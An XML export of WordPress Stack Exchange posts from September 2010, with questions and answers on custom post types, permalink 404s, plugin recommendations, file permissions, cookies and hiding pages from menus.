  <row Id="2179" PostTypeId="2" ParentId="1691" CreationDate="2010-09-24T11:47:11.843" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure what are you using but I can confirm you that all you need is the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping&quot; rel=&quot;nofollow&quot;&gt;WordPress MU Domain Mapping&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using it with multiple domains and it works perfectly. All you have is to add the domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all your DNS domains are resolved with the same IP as the one on the WP server, you do not have a DNS configuration issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2nd, check that Apache is properly configured to answer to all these domains.&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-24T13:55:16.517" LastActivityDate="2010-09-24T13:55:16.517" CommentCount="2" />
  <row Id="2180" PostTypeId="2" ParentId="2173" CreationDate="2010-09-24T13:20:28.563" Score="1" ViewCount="" Body="&lt;p&gt;WPML is the best and easiest way to do this.&lt;/p&gt;&#xA;" OwnerUserId="1017" LastActivityDate="2010-09-24T13:20:28.563" />
  <row Id="2181" PostTypeId="2" ParentId="2176" CreationDate="2010-09-24T13:20:29.560" Score="1" ViewCount="" Body="&lt;p&gt;From The WPML website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpml.org/documentation/support/wpml-coding-api/&quot; rel=&quot;nofollow&quot;&gt;http://wpml.org/documentation/support/wpml-coding-api/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Language constants&#xA;&#xA;WPML defines the following constants which can be used in the theme:&#xA;&#xA;Constant              Description                                        Example&#xA;&#xA;ICL_LANGUAGE_CODE     Code for the current language                      fr&#xA;ICL_LANGUAGE_NAME     Name of current language, in the current language  Français&#xA;ICL_LANGUAGE_NAME_EN  Name of the current language name in English       French&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-09-24T13:20:29.560" CommentCount="2" />
  <row Id="2182" PostTypeId="1" AcceptedAnswerId="3995" CreationDate="2010-09-24T13:43:24.210" Score="1" ViewCount="411" Body="&lt;p&gt;I've got a WordPress CPT that I've had running for a couple weeks. There weren't any problems with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the last couple days, it's been going haywire. Every few minutes, WordPress forgets that the page exists and returns a 404 error. This can be fixed by flushing the permalink rules in the admin panel, but a few minutes later the same things happens and it has to be fixed again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what could be causing this, or how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Errors:&#xA;Some of these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Fri Sep 24 04:11:17 2010] [error] [client 150.254.160.253] Invalid method in request \\n\\n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More of these (tv2 is the slug for the CPT):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Fri Sep 24 03:25:15 2010] [error] [client 67.142.166.25] File does not exist: /var/www/vhosts/default/htdocs/tv2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And a ton of these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Fri Sep 24 03:58:36 2010] [error] [client ::1] Directory index forbidden by Options directive: /var/www/html/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditorDisplayName="" LastEditDate="2010-09-24T14:07:17.430" LastActivityDate="2010-11-12T22:33:10.347" Title="Wordpress Custom Post Type Repeated 404 Errors" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="2183" PostTypeId="2" ParentId="2182" CreationDate="2010-09-24T14:24:05.963" Score="0" ViewCount="" Body="&lt;p&gt;My first instinct is that a plugin might be to blame.  Many plugins that touch the WordPress rewrite engine will flush the rewrite rules whenever they're used rather than when they're first activated (which is what they're &lt;em&gt;supposed&lt;/em&gt; to do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd double check your plugins and see if any of them are touching the rewriter or calling &lt;code&gt;flush_rewrite_rules()&lt;/code&gt; and, if so, deactivate them and see if that solves the problem.  If you have to live without a feature for a day or two to diagnose the problem, I'd say that's worth it.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-24T14:24:05.963" CommentCount="4" />
  <row Id="2184" PostTypeId="2" ParentId="2164" CreationDate="2010-09-24T14:28:22.920" Score="0" ViewCount="" Body="&lt;p&gt;you question is not so clear for understand. Anyway i try to respond... You can use 'hierarchical' =&gt; true when you declarate you new custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For placing this new menu in some other position in your admin are use the proprety 'menu_position' =&gt; 5,.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example (to add in your functions.php file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_my_post_types' );    &#xA;&#xA;function create_my_post_types() {&#xA;    register_post_type( 'mycustompages',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'My custom pages' ),&#xA;                'singular_name' =&amp;gt; __( 'My custom page' )&#xA;            ),&#xA;            'public' =&amp;gt; true,&#xA;            'hierarchical' =&amp;gt; true,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'publicly_queryable' =&amp;gt; true,&#xA;            'exclude_from_search' =&amp;gt; false,&#xA;            'menu_position' =&amp;gt; 5,&#xA;            'supports' =&amp;gt; array( 'title', 'editor', 'comments', 'trackbacks', 'author', 'excerpt', 'custom-fields', 'thumbnail' ),&#xA;            'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'mypage', 'with_front' =&amp;gt; false ),&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1017" LastEditorUserId="1017" LastEditorDisplayName="" LastEditDate="2010-09-24T14:34:45.133" LastActivityDate="2010-09-24T14:34:45.133" CommentCount="1" />
  <row Id="2185" PostTypeId="2" ParentId="2174" CreationDate="2010-09-24T14:30:00.057" Score="3" ViewCount="" Body="&lt;p&gt;If you plan to release them independently, then release them independently and try to get them both hosted in the WP repository.  This will allow you to update the systems remotely and keep people using the most up-to-date system possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in your theme, use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_plugin_active&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_plugin_active()&lt;/code&gt;&lt;/a&gt; to filter your commands.  If you have a theme feature that requires a plugin, use &lt;code&gt;is_plugin_active()&lt;/code&gt; to dynamically switch between using the feature or nagging the user to install the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important thing to keep in mind is that &lt;em&gt;your theme should still work if the plugins aren't installed.&lt;/em&gt;  It doesn't have to have the same rich feature set, but it also shouldn't break if they decide to remove or deactivate one of the other plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you know that a certain plugin isn't going to change for a very long time (I use a few plugins that &lt;em&gt;only&lt;/em&gt; add/remove specific WP filters) you can drop the &lt;code&gt;PHP&lt;/code&gt; file into a &lt;code&gt;/library&lt;/code&gt; directory with your theme and &lt;code&gt;include()&lt;/code&gt; the file in &lt;code&gt;functions.php&lt;/code&gt;.  Then the functionality is enabled by default - tradeoff is that you're now maintaining two versions of the plugin (as you mentioned in your original question).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-24T14:30:00.057" />
  <row Id="2186" PostTypeId="2" ParentId="2171" CreationDate="2010-09-24T14:34:33.700" Score="5" ViewCount="" Body="&lt;p&gt;Biggest difference - WAMP runs on Windows, XAMPP is multi-platform.  Aside from that it's a matter of personal preference.  They both provide you with an Apache-MySQL-PHP environment that runs pretty much the same under both systems.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-24T14:34:33.700" />
  <row Id="2187" PostTypeId="2" ParentId="2036" CreationDate="2010-09-24T14:38:23.653" Score="0" ViewCount="" Body="&lt;p&gt;I believe you want to use the rewrite parameter to change the permalink to your custom post type. As far as creating a custom post template, the format is single-CUSTOMPOSTTYPE.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the reference I found for this: &lt;a href=&quot;http://kovshenin.com/archives/extending-custom-post-types-in-wordpress-3-0/&quot; rel=&quot;nofollow&quot;&gt;http://kovshenin.com/archives/extending-custom-post-types-in-wordpress-3-0/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, on my site I have a normal page called &quot;Animation&quot; which is a landing page for my custom post type (animations). My rewrite slug is 'animation' and my template is single-animation.php. The permalink structure looks like mysite.com/animation/name-of-animation&lt;/p&gt;&#xA;" OwnerUserId="799" LastActivityDate="2010-09-24T14:38:23.653" />
  <row Id="2188" PostTypeId="1" AcceptedAnswerId="2191" CreationDate="2010-09-24T15:05:57.207" Score="0" ViewCount="61" Body="&lt;p&gt;What are the best things that I can do to get my Wordpress blog out there? What are good plugins that I can use to get listed in Googles search? Is there anything/anywhere else I can register my Wordpress blog to attract more visitors?&lt;/p&gt;&#xA;" OwnerUserId="763" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-24T15:34:59.023" LastActivityDate="2010-09-24T15:34:59.023" Title="What is/are the best thing(s) I can do to make my WordPress blog more popular?" Tags="&lt;seo&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="2189" PostTypeId="2" ParentId="2171" CreationDate="2010-09-24T15:19:00.827" Score="1" ViewCount="" Body="&lt;p&gt;I've used XAMPP and have been generally pleased with it, with one notable exception. Loading a site has always been agonizingly slow for me when using XAMPP. I don't know if that's the case with WAMP, but it would be worth looking into.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-09-24T15:19:00.827" />
  <row Id="2190" PostTypeId="1" AcceptedAnswerId="3712" CreationDate="2010-09-24T15:23:30.807" Score="1" ViewCount="189" Body="&lt;p&gt;A quick Google search shows a number of different options for comment plugins:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/OShFT.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a &quot;best&quot; way to handle comments? I realize it will vary from site to site, but I'm looking for the best way to handle them on a &quot;typical&quot; site - no special requirements here. Is it worth using something like Disqus or another plugin or third party service, or should I stick with the built in comment handling?&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-11-06T03:41:52.143" Title="What is the best method for handling comments?" Tags="&lt;plugin-recommendation&gt;&lt;comments&gt;&lt;disqus&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="1" />
  <row Id="2191" PostTypeId="2" ParentId="2188" CreationDate="2010-09-24T15:24:36.700" Score="2" ViewCount="" Body="&lt;p&gt;Provide content that people crave to find, consume and share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no technical solution to make site popular. If there was one - everyone would use it and field will be leveled again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of minor tweaks to implement (heading structure, social buttons, etc), but none of those will automagically bring in traffic and none of those work exactly same across different blogs with different content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best you can do on technical side is too keep an eye that your blog is reasonably fast and markup makes sense.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-24T15:24:36.700" />
  <row Id="2192" PostTypeId="2" ParentId="2190" CreationDate="2010-09-24T15:41:35.083" Score="1" ViewCount="" Body="&lt;p&gt;Personal opinion on things to stay away from:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Akismet, it has terrible surges of false positives and operates as black box;&lt;/li&gt;&#xA;&lt;li&gt;external comment systems, they are solution in search of a problem.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I started with native WP tools alone. Blacklist is great, but takes some maintenance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since spam grows with time later I ended up building my own anti-spam plugin (combination of learning blacklist and simple pattern recognition). As of now I get over 10k spam comments a month and have to deal with 15-25 a day manually ( ~95% effectiveness).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic trade-off is &lt;strong&gt;the more you let computer decide the higher possibility of legit comment getting nuked&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to find your own set of tools that provides:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;amount of control that you are comfortable with&lt;/li&gt;&#xA;&lt;li&gt;for the amount of spam you get &lt;/li&gt;&#xA;&lt;li&gt;and how willing you are to risk occasional false positive&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-24T15:41:35.083" />
  <row Id="2193" PostTypeId="1" CreationDate="2010-09-24T16:07:34.310" Score="2" ViewCount="148" Body="&lt;p&gt;I'm doing a site for a wine importer. The wines have many custom taxonomies (type of wine, import/domestic, etc.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When adding a wine, the taxonomies show up in the right column but not the way I'd like. The default is a form input field with a link under that says: &quot;Choose from most used &lt;em&gt;taxonomyname&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like the taxonomies to show up as a checklist. Or at least with the clickable tag cloud to default to open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point here is I'd like to save my client from having to click to create a tag cloud every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to do this? Thanks,&#xA;Jim&lt;/p&gt;&#xA;" LastActivityDate="2010-09-29T00:03:17.030" Title="Custom Taxonomy list: how to make &quot;choose from most used&quot; default to open, checklist" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2194" PostTypeId="1" AcceptedAnswerId="2280" CreationDate="2010-09-24T16:23:34.183" Score="7" ViewCount="169" Body="&lt;p&gt;Is there any way to have more post statuses other than just draft or published?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you write a lot of posts, you may wish to type up all the content, and set the status of these posts as &quot;Content - Drafted&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can re-style them, make text bold, add code highlighting etc, and set to &quot;Styled - Drafted&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then as a final review you could set status to &quot;Reviewed&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then finally, publish them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible in the current wordpress version 3 to achieve such scenarios?&lt;/p&gt;&#xA;" OwnerUserId="763" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2010-09-28T22:48:05.360" LastActivityDate="2010-09-28T22:48:05.360" Title="Is it possible to have more &quot;levels&quot; of draft/published statuses?" Tags="&lt;custom-post-types&gt;&lt;status&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" />
  <row Id="2196" PostTypeId="2" ParentId="2171" CreationDate="2010-09-24T17:20:11.977" Score="1" ViewCount="" Body="&lt;p&gt;Not exactly answering the question, but if you are interested in learning how the packages work together, I suggest installing and configuring them manually. I've been using &lt;a href=&quot;http://www.ricocheting.com/how-to-install-on-windows/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; as a guideline, it is detailed and helps you get everything running and talking to each other. It's a bit more work, but provides you much more flexibility, and you actually learn the important configuration involved.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2010-09-24T17:20:11.977" />
  <row Id="2197" PostTypeId="2" ParentId="2040" CreationDate="2010-09-24T18:53:09.480" Score="2" ViewCount="" Body="&lt;p&gt;I've written a plugin to disable comments on pages by default.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/page-comments-off-please/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/page-comments-off-please/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps that will help?&lt;/p&gt;&#xA;" LastActivityDate="2010-09-24T18:53:09.480" CommentCount="2" />
  <row Id="2198" PostTypeId="1" CreationDate="2010-09-24T18:59:38.943" Score="4" ViewCount="337" Body="&lt;p&gt;Our organization is using Google Apps (standard edition) and we've just implemented a WP site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love any input on anyone who's used implemented Google Apps (in the last month or so) as the service for OpenID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the Janrain plug-in but am a little lost on what needs to be done outside of WordPress?&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-10-14T20:55:08.417" LastActivityDate="2010-10-14T20:55:08.417" Title="Advice for implementing single sign-on?" Tags="&lt;plugin-recommendation&gt;&lt;3.0.1&gt;&lt;openid&gt;&lt;single-sign-on&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" />
  <row Id="2200" PostTypeId="1" AcceptedAnswerId="2202" CreationDate="2010-09-24T19:19:12.880" Score="1" ViewCount="590" Body="&lt;p&gt;A faculty member is having difficulties with a instructional wordpress install. Fixing individual permission problems has been hit and miss, and have become a perennial pain, so I'll ask here. What can I do to make WP Just Work? The kinds of errors they get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Installing Plugin: Lightbox 2 2.9.2&#xA;  Downloading install package from&#xA;  &lt;a href=&quot;http://downloads.wordpress.org/plugin/lightbox-2.2.9.2.zip&quot; rel=&quot;nofollow&quot;&gt;http://downloads.wordpress.org/plugin/lightbox-2.2.9.2.zip&lt;/a&gt;…&#xA;  Unpacking the package… Could not&#xA;  create directory.&#xA;  /home/CIM140/public_html/wordpress/wp-content/upgrade/lightbox-2.tmp&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I su as www-data (the user apache runs as in Ubuntu), I can make that directory just fine. My test wp instance installs this plugin just fine, so I'm at a loss as to why it fails for them.&lt;/p&gt;&#xA;" OwnerUserId="937" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-24T21:27:21.757" LastActivityDate="2010-09-24T21:27:21.757" Title="Can't install new plugins because of the error &quot;Could not create directory&quot;" Tags="&lt;plugins&gt;&lt;permissions&gt;&lt;updates&gt;" AnswerCount="1" />
  <row Id="2202" PostTypeId="2" ParentId="2200" CreationDate="2010-09-24T19:35:44.873" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@pwnguin,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the same problems running mod_php with WordPress and I finally figured it out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# chown www-data:www-data  /home/CIM140/public_html/wordpress/ -R&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As long as YOU control the box this won't cause any security issues.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also need to change your umask to 022 so new directories created by WordPress will have 755 permissions and files will have 644 permissions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to override default file permissions in wp-config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('FS_CHMOD_DIR', (0755 &amp;amp; ~ umask()));&#xA;define('FS_CHMOD_FILE', (0644 &amp;amp; ~ umask()));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also force the filesystem method for updates.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(Primary Preference) &quot;Direct&quot; forces it to use Direct File I/O requests from within PHP, this is fraught with opening up security issues on poorly configured hosts, This is chosen automatically when appropriate.&lt;/li&gt;&#xA;&lt;li&gt;(Secondary Preference) &quot;ssh&quot; is to force the usage of the SSH PHP Extension.&lt;/li&gt;&#xA;&lt;li&gt;(3rd Preference) &quot;ftpext&quot; is to force the usage of the FTP PHP Extension for FTP Access, and finally&lt;/li&gt;&#xA;&lt;li&gt;(4th Preference) &quot;ftpsockets&quot; utilises the PHP Sockets Class for FTP Access.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These can be defined in wp-config.php with: &lt;code&gt;define('FS_METHOD', 'ftpext');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get all the currently defined constants by executing the  &lt;code&gt;print_r(@get_defined_constants());&lt;/code&gt; command in php.&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-24T20:30:22.207" LastActivityDate="2010-09-24T20:30:22.207" CommentCount="6" />
  <row Id="2203" PostTypeId="1" AcceptedAnswerId="2212" CreationDate="2010-09-24T19:50:31.747" Score="1" ViewCount="1107" Body="&lt;p&gt;What's a surefire way to check/set cookies before the php headers are sent? Is there an action or filter that would be the best place to hook a &lt;code&gt;setcookie()&lt;/code&gt; function?&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-09-24T21:49:11.837" Title="How to set custom cookies before output" Tags="&lt;php&gt;&lt;filters&gt;&lt;cookies&gt;&lt;headers&gt;&lt;actions&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="2204" PostTypeId="1" AcceptedAnswerId="2207" CreationDate="2010-09-24T19:56:22.050" Score="2" ViewCount="146" Body="&lt;p&gt;I need to create a page in my site that I am able to access via url, but that won't be included in any of the navigation menus which are generated using &lt;code&gt;wp_list_pages()&lt;/code&gt; on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorUserId="193" LastEditorDisplayName="" LastEditDate="2010-09-24T20:11:02.890" LastActivityDate="2010-10-01T18:31:01.257" Title="How to create a page that isn't accessible via menus?" Tags="&lt;3.0&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" />
  <row Id="2205" PostTypeId="2" ParentId="2203" CreationDate="2010-09-24T20:05:05.263" Score="2" ViewCount="" Body="&lt;p&gt;I think &lt;code&gt;functions.php&lt;/code&gt; is definitely processed before any output and is fitting place for extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for hook, maybe &lt;code&gt;after_setup_theme&lt;/code&gt;, it comes right after that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-24T20:05:05.263" CommentCount="1" />
  <row Id="2206" PostTypeId="2" ParentId="2204" CreationDate="2010-09-24T20:21:57.030" Score="3" ViewCount="" Body="&lt;p&gt;You're in luck, there's a filter. See &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/post-template.php#L775&quot; rel=&quot;nofollow&quot;&gt;this line&lt;/a&gt; inside &lt;code&gt;wp_list_pages()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$r['exclude'] = implode( ',', apply_filters('wp_list_pages_excludes', $exclude_array) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, just hook into &lt;code&gt;wp_list_pages_excludes&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add some new page ids to the exclude list&#xA;function my_banned_pages( $exclude_array ) {&#xA;    return array_merge( $exclude_array, array( 12, 45 ) ); &#xA;}&#xA;add_filter( 'wp_list_pages_excludes', 'my_banned_pages' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-24T20:21:57.030" CommentCount="3" />
  <row Id="2207" PostTypeId="2" ParentId="2204" CreationDate="2010-09-24T20:35:24.697" Score="4" ViewCount="" Body="&lt;h3&gt;There is a good plugin that adds a meta check box under all pages that indicates whether you want the page to show up in menus.&lt;/h3&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/exclude-pages/&quot; rel=&quot;nofollow&quot;&gt;Exclude Pages Plugin&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The other option is to convert from wp_list_pages to the new custom menus.  When using custom menus only pages you add to the menu will be included.  &lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-24T20:35:24.697" />
  <row Id="2208" PostTypeId="2" ParentId="2203" CreationDate="2010-09-24T21:02:59.177" Score="0" ViewCount="" Body="&lt;p&gt;You can create a function to check or set a cookie but you have to check for wp-config.php because if you use a redirect the file will get accessed directly before index.php on the redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is from a plugin that Mark Jaquith wrote &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/age-verification/trunk/age-verification.php?rev=293295#L28&quot; rel=&quot;nofollow&quot;&gt;Age Verification&lt;/a&gt; that requires the user to fill out an age verification form before entering the site.  I modified it for a &lt;a href=&quot;http://globalqualityimports.com/gc/door.php?return=/&amp;amp;e=3600&quot; rel=&quot;nofollow&quot;&gt;liquor, beer, wite site&lt;/a&gt; I did.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !defined( 'ABSPATH' ) ) { // we're being called directly, to check the cookie&#xA;     if ( file_exists('../../wp-config.php') )&#xA;                  include('../../wp-config.php');&#xA;     elseif ( file_exists('../../../wp-config.php') )&#xA;               include('../../../wp-config.php');&#xA;    else&#xA;       die('Could not find wp-config.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A better way might exist now.  The plugin was written over a year ago.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-24T21:02:59.177" CommentCount="2" />
  <row Id="2209" PostTypeId="2" ParentId="1997" CreationDate="2010-09-24T21:17:50.513" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Sorin Sbarnea&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds like what you want is to use &lt;strong&gt;Custom Post Types&lt;/strong&gt; with custom fields to create your own directory.  Here's an answer I wrote about exactly that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;&lt;strong&gt;Tips for using WordPress as a CMS?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/381/implementing-a-crunchbase-com-clone-using-wordpress/386#386&quot;&gt;&lt;strong&gt;Implementing a CrunchBase.com Clone using WordPress?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, take a look at the &lt;strong&gt;SimpleFields&lt;/strong&gt; plugin for WordPress which can help you create these custom fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-fields/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SimpleFields Plugin&lt;/strong&gt;&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-24T21:17:50.513" CommentCount="1" />
  <row Id="2210" PostTypeId="1" CreationDate="2010-09-24T21:22:39.837" Score="2" ViewCount="263" Body="&lt;p&gt;I've just launched a site that has a RESOURCES section in it, listing of school, documents etc. now the client asks to add an 'Alphabetical Sorter' that will enable the users to see in each specific category the post/resources according to their first letter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This wouldn't be to hard (theoretically), the problems are that those are custom-post-types with nested categories and I already manipulate the request (on the &lt;code&gt;request&lt;/code&gt; filter) to get what I want and not a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The structure is &lt;code&gt;domain.com/resources/parent-category/child-category/post-name&lt;/code&gt; and I'd like to have pretty permalink look so &lt;code&gt;domain.com/resources/parent-category/child-category/A-Z&lt;/code&gt; and not using a &lt;code&gt;index=A-Z&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should also work (show the correct posts in a-z order) when the user deletes part of the url, i.e. &lt;code&gt;domain.com/resources/parent-category/A-Z&lt;/code&gt; or &lt;code&gt;domain.com/resources/A-Z&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best approach for that, considering we can't go back and add 'category per letter', taxonomy, custom field etc.? Is there a way to maybe hook into the raw SQL and edit it like here &lt;a href=&quot;http://wordpress.org/support/topic/first-letter-posts&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/first-letter-posts&lt;/a&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditorDisplayName="" LastEditDate="2010-09-27T12:23:42.510" LastActivityDate="2010-10-01T14:18:39.413" Title="What's the best approach for showing posts by A-&gt;Z order?" Tags="&lt;wp-query&gt;" AnswerCount="2" FavoriteCount="1" />
